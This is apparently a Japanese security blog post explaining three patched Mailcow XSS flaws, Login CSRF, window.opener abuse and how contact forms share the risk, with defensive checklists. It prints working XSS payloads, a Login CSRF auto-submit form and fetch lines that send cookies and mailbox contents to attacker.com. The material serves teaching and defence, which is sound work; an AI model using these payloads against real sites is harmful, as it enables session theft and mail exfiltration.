Aikido AI Pentestが発見したMailcowの3つのXSS脆弱性。実はMailcowを使っていない会社にこそ刺さる内容。スクリプトとは何かから、CSRF、Self-XSSの本物の攻撃への昇格、window.opener悪用まで、あらゆるWebアプリに応用できる攻撃パターンを徹底解説。あなたの問い合わせフォームは大丈夫?
この記事で分かること
- スクリプトとは何か、XSS(クロスサイトスクリプティング)の本質
- Aikido AI Pentestが発見したMailcowの3つの脆弱性
- 「無害」と思われたSelf-XSSが本物の攻撃に化けるメカニズム
- CSRFの基礎と、Auth0などの認証基盤を使う際の注意点
- あなたの会社の問い合わせフォームが同じ構造で危険に晒されている可能性
「Mailcow?」
そう聞いて「あー、メールサーバーね。マイナーなやつでしょ? うちはMicrosoft 365だし、Google Workspaceだし、関係ないわ」と思ったあなた。
他山の石、だと思ってませんか?
実は、このレポートの本当の怖さは、Mailcowを使っていない会社にも刺さる。というより、むしろMailcowを使っていない会社の方が、同じ罠にハマる可能性が高い。
Aikidoのセキュリティリサーチャー Jorian Woltjer が AI pentesting で見つけた3つの脆弱性は、表面上はMailcow固有の問題に見える。でも中身を開けてみると、あらゆるWebアプリに応用できる、ありふれた攻撃パターン が浮かび上がる。
特に怖いのは、この記事を読み終わった後、あなたの会社のお問い合わせフォームが同じ構造で危険に晒されている可能性 に気づくことだ。順に見ていこう。
本題に入る前に、最初に押さえておきたい概念がひとつだけある。
ホームページは、サーバーから送られてくる 文字列 でできている。ブラウザはその文字列を読み解いて画面を描く。ここまではいい。
問題はこの文字列の中に <script> というタグが混ざっていた場合だ。ブラウザはこのタグを見つけると、中身を「命令文」として実行する。
例えばこんな文字列:
<script>alert("こんにちは");</script>
ブラウザはこれを見た瞬間、「こんにちは」というメッセージをポップアップ表示する。画面のデザインを書き換えること、ログイン中のユーザーの情報を盗むこと、他のサーバーにデータを送信すること —— スクリプトの命令次第で何でもできる。
ここで最大の問題がある。
ブラウザは、そのスクリプトを「誰が書いたか」を区別しない。
サーバー運営者が正規に書いたスクリプトも、悪意ある人物が何らかの方法で紛れ込ませたスクリプトも、ブラウザは同じように実行してしまう。「サーバーから送られてきた文字列なんだから、中身は全部信用できる」—— そういう前提で動いている。
この「悪意ある人物のスクリプトを、被害者のブラウザで実行させる攻撃」を、セキュリティ業界では XSS(クロスサイトスクリプティング) と呼ぶ。長ったらしい名前だが、要するに "他人のスクリプトを被害者のブラウザで実行させる攻撃" のことだ。以降この記事でも XSS という用語を使うが、頭の中では「罠のスクリプトを紛れ込ませる攻撃」と置き換えて読んでもらって構わない。
スクリプトがブラウザで動くと、それは そのページで今ログインしているユーザーの権限で 動く。つまり攻撃者は、スクリプトを紛れ込ませることに成功した瞬間、被害者として振る舞える ようになる。
もし被害者が 管理者権限 を持っていたら、攻撃者は管理者として任意の操作ができる。これが今回のMailcowで起きた事態だ。
では、具体的にどうやって「悪意あるスクリプト」を紛れ込ませるのか? 3つの手口を見ていこう。
1つ目(GHSA-f9xf-vc72-rcgm)は 未認証で攻撃可能 なCritical脆弱性。
メールクライアントの自動設定機能「Autodiscover」には、こんなXMLを送るAPIが公開されている:
POST /Autodiscover/Autodiscover.xml
<Autodiscover>
<Request>
<EMailAddress>yamada@example.com</EMailAddress>
</Request>
</Autodiscover>
普通はメールクライアントが裏で送る正規のリクエスト。認証は不要。
ここで攻撃者は、メアド欄にメアドじゃなくてHTMLタグを入れて送る:
<EMailAddress><img src=x onerror=alert(origin)></EMailAddress>
サーバー側は「メアドですね」と受け取り、ログに保存する。この時点ではまだ何も起きない。DBにただの文字列が眠っているだけだ。
発火するのは、アドミンが管理画面で「Autodiscoverログ」を開いた瞬間。ログ画面はメアドを表示しようとする。でもエスケープ漏れがあり、ブラウザは <img> タグを「画像を表示しよう」と解釈。src=x は存在しない画像なのでエラー。エラーで onerror の中のJavaScriptが実行される。
XSSが発火すると、アドミンのブラウザで アドミンの権限で 任意のJavaScriptが動く。つまり:
要するに サーバー完全掌握。しかもアドミン本人は何も気づかない。画面上は普通にログが表示されてるだけだ。
2つ目(GHSA-2xjc-rg88-jvpp)も同じ「アドミン発火パターン」。今度は 添付ファイル名 にXSSを仕込む。
ただし一つ課題がある。「ファイル名にXSSを仕込んだメール」を送っても、アドミンが見てくれなければ発火しない。どうするか?
攻撃者は EICAR(アンチウイルスのテスト用標準文字列)を使う:
att = MIMEApplication(
b'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*',
_subtype='octet-stream'
)
att.add_header(
'Content-Disposition',
'attachment',
filename='<img src=x onerror=alert(origin)>.exe'
)
EICARは世界中のアンチウイルスエンジンが「必ず検知する」と取り決めた共通文字列だ。これを添付すれば、本物のマルウェアを送らなくても 確実にMailcowが隔離する。
後はアドミンが「隔離項目」画面で中身を確認するのを待つだけ。ファイル名に仕込まれたXSSが、アドミンの管理権限で発火する。
アンチウイルスの「仕事をしてくれる」という期待を、攻撃者が経路として利用する —— こういう発想の妙味こそ、セキュリティの面白さであり怖さでもある。
ここまで読んで、ふと思わなかっただろうか?
「これ、うちのサイトのお問い合わせフォームと、構造同じじゃない?」
典型的なお問い合わせフォームを思い浮かべてほしい:
攻撃者視点では、これは 「ユーザー入力欄にHTMLタグを仕込める場所」 でしかない。
<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>送信ボタン一発で、サーバーに保存される。MailcowのAutodiscoverと完全に同じ構造だ。
そして発火タイミングは全て 「管理者側」 だ:
要するにMailcowの①②と同じ Stored XSS(蓄積型)。一度DBに仕込まれれば、その後にその画面を開く全員が危険にさらされる。
しかも問い合わせフォームは、管理者にとって「お客様の声」だから絶対に開く 場所。怪しいリンクと違って防御のガードが下がる。攻撃者にとってこれほど確実な経路はない。
「自社は大丈夫」と言い切れる根拠は、あなたにあるだろうか?
ここからが本題。3つ目(GHSA-jprq-w83q-q62h)は、攻撃の巧妙さで頭一つ抜けている。
前提として、攻撃者はMailcowの 低権限ユーザー(社員・学生・顧客など)としてアカウントを持っている。
ユーザー画面には「最近のログイン履歴」が表示され、IPアドレスは X-Real-IP ヘッダから取られている。検証なし。
攻撃者は細工したヘッダで自分のアカウントにログインする:
POST / HTTP/1.1
X-Real-Ip: "><img src onerror=alert(origin)>
login_user=attacker&pass_user=attacker
攻撃者アカウントのログイン履歴にXSSペイロードが永続保存される。
ただし、見るのは攻撃者自身だけ。これが Self-XSS と呼ばれる種類。通常は「無害」と判定される脆弱性だ。自分の金庫にカメラを仕込んでも、自分しか金庫を開けないから意味がない。
でもここから、本物の攻撃に化ける。
ここで新しい概念が出てくる。CSRF という攻撃手法だ。
CSRF(シーサーフ、Cross-Site Request Forgery) とは、攻撃者が用意した罠サイトから、被害者のブラウザを使って 別のサイトに勝手にリクエストを送信させる攻撃。
例えば被害者がネットバンクにログインしたまま別のタブで罠サイトを開くと、罠サイトが裏で「1万円を攻撃者に送金」というPOSTを発射。ブラウザはログイン済みのCookieを自動的に付けて送ってしまうため、銀行側は「本人からの正当な指示」と誤認してしまう。
対策は「CSRFトークン」と呼ばれる使い捨てのランダム文字列を、画面を GET するたびにサーバーが発行し、POSTの時に一緒に送らせる方式。罠サイトはそのトークンを知りようがないので弾ける。
さて、Mailcowに話を戻す。Mailcowのログイン処理には、このCSRF対策がない。つまり外部サイトから「攻撃者の認証情報でMailcowにログインさせるフォーム」を自動送信できてしまう:
<form action="http://mailcow.local/" method="POST">
<input type="text" name="login_user" value="attacker">
<input type="text" name="pass_user" value="attacker">
</form>
<script>
document.forms[0].submit();
</script>
罠サイトを開いた被害者は、自分の意思と関係なく 攻撃者のアカウントにログインさせられる。
なお、「ログイン処理にCSRF対策? ログイン前なのに?」という疑問を持った読者は鋭い。この違和感については記事の後半「補講:CSRFをもう少し深く理解する」で詳しく解説する。
ここで当然の疑問:「攻撃者のアカウントに入っただけなら、被害者のメールは盗めなくない?」
その通り。普通ならここで詰む。
window.opener を悪用するブラウザには「タブAが別タブBを開くと、タブBから window.opener でタブAを参照できる」という仕組みがある。そして両方が同一オリジンなら、タブBからタブAのDOMを読み書きし放題。
攻撃の全体フローはこうなる:
| タブ | 動作 | 誰としてログイン |
|---|---|---|
| タブ1 | 罠サイト → 被害者のメールボックスにリダイレクト | 被害者本人 |
| タブ2 | タブ1から開かれる。Login CSRFで攻撃者アカウントにログイン → /userでXSS発動 | 攻撃者 |
タブ2のXSSが実行するコード:
// タブ2のXSSから、タブ1(被害者のメールボックス)の中身を吸い出す
const victimMailbox = window.opener.document.body.innerHTML;
fetch('https://attacker.com/steal', {
method: 'POST',
body: victimMailbox
});
ここで鋭い読者は疑問を持つはずだ:
「でも、Login CSRFで攻撃者アカウントにログインした時点で、ブラウザのCookieは攻撃者のセッションに上書きされる よね? じゃあタブ1を更新したら、タブ1も攻撃者のページになっちゃうんじゃない? なぜ被害者のメールが見えるの?」
この疑問、その通り。実際、Cookieは上書きされる。ここが攻撃のキモだ。
ポイントは 「タブ1のDOMは既に読み込まれている」 という事実。
Cookie と DOM は別物だ:
攻撃の時系列で追ってみよう:
① タブ1: 被害者がメールボックス画面を開く
→ サーバーから被害者のメール一覧HTMLを受信
→ タブ1の DOM に「被害者のメール内容」が読み込まれた状態
→ Cookie: 被害者のセッション
② タブ2: Login CSRFで攻撃者アカウントにログイン
→ Cookie が攻撃者のセッションに上書きされる
→ でもタブ1の画面には、①で受信した被害者のメール内容がそのまま残っている
(Cookieが変わっただけで、タブ1の画面を再描画したわけじゃない)
③ タブ2: XSS発動
→ window.opener で タブ1の DOM を読み取る
→ そこには被害者のメール内容が残っている
→ 攻撃者のサーバーに送信
つまり タブ1が既に「撮影済みの写真」を持っているようなもの。後でカメラ(Cookie)を別人に渡しても、既にある写真(DOM)は消えない。タブ2はその写真を盗撮する。
もしタブ1を F5 で再読み込みしたら、今度は攻撃者のCookieで取得するので、攻撃者自身のメール画面になってしまう。再読み込みされる前に、素早くDOMを読んで送信してしまう のが攻撃者の狙い。
タブ2は「攻撃者として」動いているのに、window.opener 経由でタブ1(被害者のメールが表示されたまま)のDOMを読める。両方ともMailcowドメインだから、ブラウザのSame-Origin Policyをクリアしている。
こうして、被害者のメール内容が攻撃者のサーバーに送信される。被害者は怪しいページを開いただけで、自分のメールを全て盗まれる。
3つ目の脆弱性は、単体なら escapeHtml() 一行の抜け漏れでしかない。CVSSスコアも低めに付くかもしれない。でも実際には:
X-Real-IP ヘッダ)window.opener 悪用(ブラウザ標準機能)この4つが組み合わさって、全ユーザーのメール窃取 という深刻な結果になる。
「無害なSelf-XSS」という初見判断が、いかに危ういか。セキュリティ評価は攻撃チェーン全体で見ないと、肝心な穴を見逃す。
この記事の最大のメッセージはここだ。Mailcowを使っていなくても、今回の手口は応用が効く。特に お問い合わせフォーム は、攻撃経路として最も狙われやすい。
自社サイトで今すぐチェックすべきポイント:
{var}、element.textContent など)を使っているかdangerouslySetInnerHTML や innerHTML = を使っている箇所はないかecho $name; のような直接出力はないかwindow.opener 対策rel="noopener noreferrer" がついているかwindow.open() を使う箇所で opener を無効化しているか+ で連結しない。テンプレートエンジンか、DOMの安全なAPIを使うrel="noopener noreferrer"。window.opener 悪用の予防線脆弱性③で CSRF という概念を駆け足で紹介した。ここではもう少し時間をかけて、なぜログイン処理にもCSRF対策が必要なのか と、Auth0 のような現代的な認証基盤を使っている場合どうなるのか を掘り下げる。
実は多くの開発者がこう思う:
「CSRFトークンって、ログイン後の操作(送金とか設定変更とか)を守るために付けるんじゃないの? ログイン前はまだ権限ないんだから、守るものなくない?」
鋭い疑問だ。そして今回の Mailcow は、まさにその油断を突かれた。
ログインも結局 POST だ。POST /login に user/pass を送る。
「ログイン前はまだユーザー権限ないから守る必要ない」—— 普通はそう思う。でも脆弱性③で見た攻撃を思い出してほしい。
攻撃者が用意した罠サイトの <form> を被害者に開かせると、被害者のブラウザが攻撃者のアカウントでログイン実行 される。これが「Login CSRF」と呼ばれる攻撃。
単独では無害に見える。「攻撃者のアカウントにログインさせても、攻撃者の画面が見えるだけでしょ」と。
ところが、攻撃者のアカウントに Self-XSS を仕込んでおいたら? 被害者のブラウザで攻撃者のXSSが発動し、window.opener 経由で被害者の別タブのメールを盗み出せる。これが脆弱性③の真の怖さ。
もし Mailcow のログインPOSTが CSRFトークン必須 だったら、攻撃者の罠サイトはトークンを知らないからPOSTが弾かれ、3つ目の攻撃チェーンは成立しなかった。
つまり教訓は:
ログインPOSTも、他のPOSTと同じようにCSRFトークンで守れ。 ログイン前でも、ログインページを GET してトークンを発行し、POST で検証する設計にする。
ここで現代的な疑問が湧く。「うちは自前ログイン実装してない。Auth0 使ってる。トークン付けてないけど大丈夫?」
大丈夫。でも理由を理解しておくべき。
Auth0(と他の主要IdP:AWS Cognito、Okta、Firebase Auth、Azure AD B2C など)は、CSRFトークンと同じ役割を果たす仕組みを別の名前で備えている。
Auth0 の認証フロー:
1. アプリ → ユーザーを Auth0 のログイン画面にリダイレクト
URL に state パラメータ(ランダム文字列)を付ける
2. Auth0 のドメインで user/pass 入力
3. 認証成功 → Auth0 がアプリにリダイレクトで戻る
URL に code と、送った時の state が付いてくる
4. アプリ:受け取った state が「自分が送ったやつと同じか」検証
一致しなければ拒否
この state パラメータが、実はCSRFトークンそのもの。OAuth 2.0 / OpenID Connect の標準仕様で定義されていて、まともなライブラリなら自動的に検証してくれる。
さらに Auth0 の場合、攻撃者が罠ページから偽ログインPOSTを投げようとしても:
auth0.com ドメインで表示されるauth0.com にCORSで直接POSTできない多重の防御で守られている。
「Auth0 使ってるから全部安全」—— これは危険な思い込み。
Auth0 が守ってくれるのは 「ログイン処理そのもの」 だけ。ログイン後のアプリ内操作 は自分で守る必要がある。
| シナリオ | CSRFリスク |
|---|---|
Auth0でログイン、その後JWTを Authorization: Bearer ヘッダーで送るAPI | ✅ 安全(ブラウザが自動で付けないから) |
| Auth0でログイン、でもその後セッションCookieで画面操作 | ⚠️ 従来型CSRF対策が必要 |
| 自前ログイン実装、セッションCookie | ⚠️ ログインPOST含め全部に対策必要 |
「認証基盤を入れたから大丈夫」ではない。認証と認可は別のレイヤーで考える。
自分のシステムを点検する時、このフレームワークで見ると整理しやすい:
この設計判断を意識するだけで、CSRFに関する多くの混乱が解消される。
Mailcowユーザーは 2026-03b 以降へアップデートを。2026年3月31日リリースで全3件修正済み。メンテナ FreddleSpl0it 氏の迅速な対応に敬意を表したい。
でも本当の教訓は、Mailcowの外にある。
Mailcowを使っていなくても、ユーザー入力を受け付けて管理者が後で確認する —— この構造を持つ全てのシステムが、今回と同じ攻撃ベクトルを抱えている。お問い合わせフォーム、採用応募フォーム、カスタマーサポートチケット、ECサイトの商品レビュー、SNSのコメント欄 —— 挙げればきりがない。
他山の石ではなく、隣の家の火事を見て自分の家の配線を点検する —— これが、セキュリティインシデントから学ぶ正しい姿勢だ。
週末、自社の問い合わせフォームを、ぜひ一度点検してみてほしい。
そして、こうしたコードレベルの脆弱性を継続的に検出するには、Aikido AI pentesting のようなAIエージェントによる動的テストが有効だ。今回の3つの脆弱性も、AI pentesting が発見したものだ。
Aikido Community Japan
公開日: 2026/4/19
最終更新: 2026/4/19
セキュリティの最新情報をお届けします。